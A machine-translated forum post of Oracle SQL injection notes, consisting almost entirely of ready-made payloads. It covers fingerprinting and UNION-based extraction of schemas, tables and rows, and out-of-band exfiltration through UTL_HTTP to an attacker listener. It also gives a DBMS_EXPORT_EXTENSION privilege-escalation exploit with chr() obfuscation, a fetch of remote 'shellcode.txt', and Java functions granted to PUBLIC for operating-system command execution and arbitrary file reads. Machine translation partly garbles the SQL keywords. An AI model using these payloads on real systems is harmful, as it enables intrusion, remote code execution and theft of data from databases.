Tento článok je zrkadlovým článkom o strojovom preklade, kliknite sem pre prechod na pôvodný článok.

Pohľad: 11931|Odpoveď: 0

[Bezpečná komunikácia] SQL injekčné poznámky oracle

[Kopírovať odkaz]
Zverejnené 24. 1. 2015 12:58:17 | | |
Tento príspevok bol naposledy upravený testom 24. 1. 2015 o 13:01

Komentár: --
Vykonávanie viacerých viet nie je podporované a federované dotazy sú podporované
Názvy databáz, tabuliek a stĺpcov sú všetky písané veľkými písmenami.


dĺžka (pole)
ascii(substr(field, N, 1))


a (vyberte count(*) z duálu)>0 -- Určte, či je to orákulum alebo nie

Poradie od n--

a 1=2 zjednotenie vybrať null, null,.....,null z duálu-- nahradiť null za N alebo 'N'

a 1=2 union select null, (SQL príkaz) ,.....,null z duálu -- zmena na (sql príkaz) na 'N'

a (vyberte count(*) z all_objects kde object_name='UTL_HTTP')>0 -- Zistite, či je UTL_HTTP podporovaný (exportná IP je známa)

a UTL_HTTP.request('http://LocalIP:port'|| (SQL príkaz)) =1-- Vzdialene posielať správy lokálnemu, lokálnemu počúvaniu nc -vv -l -p 1234


SQL príkazy
Vyberte banner z verzie sys.v_$, kde rownum=1 na dotazovanie verzie orákula
vyberte člena z v$logfile kde rownum=1 Dotazujte sa na cestu k log súboru (Windows alebo Linux)
Vyberte utl_inaddr.get_host_address z dual na dotaz na IP počúvanie databázy
Vyberte instance_name z v$instance na dotazovanie na SID
Vyberte názov z v$database Dotazujte sa na aktuálny názov databázy
Vyberte sys_context ('userenv','current_user') z používateľov databázy s dvoma dotazmi
Vyberte * z session_roles kde Rownum=1 na dotazovanie aktuálnych používateľských oprávnení
Vyberte * z session_roles kde Rownum=1 [a rola<>'prvé meno povolenia']



Vyberte table_name z user_tables kde Rownum=1 Prvý segment tabuľky aktuálnej databázy
Vyberte table_name||','|| tablespace_name z user_tables kde rownum=1 Prvý segment tabuľky, databáza (pre overenie, nemusí to byť v$database)
Vyberte table_name z user_tables kde Rownum=1 a table_name<>'prvý segment tabuľky' Druhý segment tabuľky aktuálnej databázy

Vyberte column_name z user_tab_columns kde Rownum=1 a table_name='Segment tabuľky' Prvé pole zodpovedajúce názvu tabuľky
Vyberte column_name z user_tab_columns kde Rownum=1 a table_name='Segment tabuľky' a column_name<>'Prvé pole' Druhé pole zodpovedá názvu tabuľky

Vyberte pole z segmentu tabuľky, kde Rownum=1 porušuje obsah prvého riadku
Vyberte pole z segmentu tabuľky, kde Rownum=1 a pole <> 'obsah prvého riadku' odhaľuje obsah druhého riadku


Cross-library
Vyberte vlastníka z all_tables kde rownum=1 dotazuje na prvý názov databázy
Vyberte vlastníka z all_tables kde Rownum=1 a vlastník<> 'Prvý názov databázy' na dotazovanie druhého názvu databázy

Vyberte table_name z all_tables kde rownum=1 a owner='názov databázy' Opýtajte sa na názov prvej tabuľky príslušnej databázy
Vyberte table_name z all_tables kde Rownum=1 a owner='názov databázy' a table_name<>'názov prvej tabuľky' na dotazovanie na názov druhej tabuľky príslušnej databázy

Vyberte column_name z all_tab_columns kde Rownum=1 a owner='názov databázy' a table_name='segment tabuľky' Prvé pole zodpovedajúce názvu tabuľky
Vyberte column_name z all_tab_columns kde Rownum=1 a owner='názov databázy' a table_name='segment tabuľky' a column_name<>'prvé pole' Druhé pole zodpovedá názvu tabuľky

Vyberte pole z databázy. segment tabuľky, kde rownum=1 porušuje obsah prvého riadku
Vyberte pole z databázy. Segment tabuľky, kde je rownum=1 a pole <> 'Obsah prvého riadku', porušuje obsah druhého riadku





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); viacnásobné KONIEC; --','SYS',0,'1',0)--

Ak je 'escaped, používa sa chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-príkazy || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Ak je viacero viet príliš dlhých, môžete výrok zapísať do súboru na webovej stránke a použiť utl_http.request na jeho získanie.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Vytvoriť JAVA balík SecTest
runCMD sa používa na vykonávanie systémových príkazov
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); VYKONAJTE OKAMŽITE," VYHLASUJE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''', vytvoriť alebo nahradiť a skompilovať java zdrojový kód s názvom "SecTest" ako import java.io.*; public class SecTest rozširuje Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vrátiť str; }catch(Exception e){return e.toString(); }}}''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--

readFile sa používa na čítanie súboru
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); VYKONAJTE OKAMŽITE," VYHLASUJE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''', vytvoriť alebo nahradiť a skompilovať java zdrojový kód s názvom "SecTest" ako import java.io.*; public class SecTest rozširuje Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vrátiť str; }catch(Exception e){return e.toString(); }}}''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--



Udelenie Java oprávnení
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>''''''''''''''''vykonať''''''''); koniec; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--



Vytvoriť funkciu
Funkcia SecRunCMD
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecRunCMD(p_cmd in varchar2) return varchar2 ako java name''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--

Funkcia SecReadFile
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecReadFile(filename in varchar2) return varchar2 as language java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--



Udelenie povolenia na vykonávanie verejnej funkcie
SecRunCMD má povolenia
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE VYKONÁVAŤ OKAMŽITÉ ''''udeľte všetko na SecRunCMD verejnosti'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--

SecReadFile
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE OKAMŽITE VYKONAŤ ''''udeľte všetko na SecReadFile verejnosti'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--



Detekuje, či bola funkcia úspešne vytvorená
a (vyberte count(*) z all_objects kde object_name='SECRUNCMD')>0--
a (vyberte count(*) z all_objects kde object_name='SECREADFILE')>0--



Vykonajte príkaz
a '1'<> (vyberte sys. SecRunCMD('Execute command') z duálu)--
a '1'<> (vyberte sys. SecReadFile('fyzická adresa súboru') z duálu)--
alebo
a 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null z dual--
a 1=2 union select null,...,sys. SecReadFile('fyzická adresa súboru'),...,null z dual--
alebo
a '1'<>(vyberte UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) z dual)--
a '1'<>(vyberte UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Fyzická adresa súboru'),' ',' ',','\n',' ')) z dual)--



Delete funkcia
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecRunCMD'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecReadFile'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--




Predchádzajúci:Môžem požiadať o moderovanie, aké podmienky potrebujem?
Budúci:ORALCE získava hostiteľské meno a IP adresu
Vyhlásenie:
Všetok softvér, programovacie materiály alebo články publikované spoločnosťou Code Farmer Network slúžia len na vzdelávacie a výskumné účely; Vyššie uvedený obsah nesmie byť použitý na komerčné alebo nezákonné účely, inak nesú všetky následky používateľmi. Informácie na tejto stránke pochádzajú z internetu a spory o autorské práva s touto stránkou nesúvisia. Musíte úplne vymazať vyššie uvedený obsah zo svojho počítača do 24 hodín od stiahnutia. Ak sa vám program páči, podporte originálny softvér, zakúpte si registráciu a získajte lepšie originálne služby. Ak dôjde k akémukoľvek porušeniu, kontaktujte nás prosím e-mailom.

Mail To:help@itsvse.com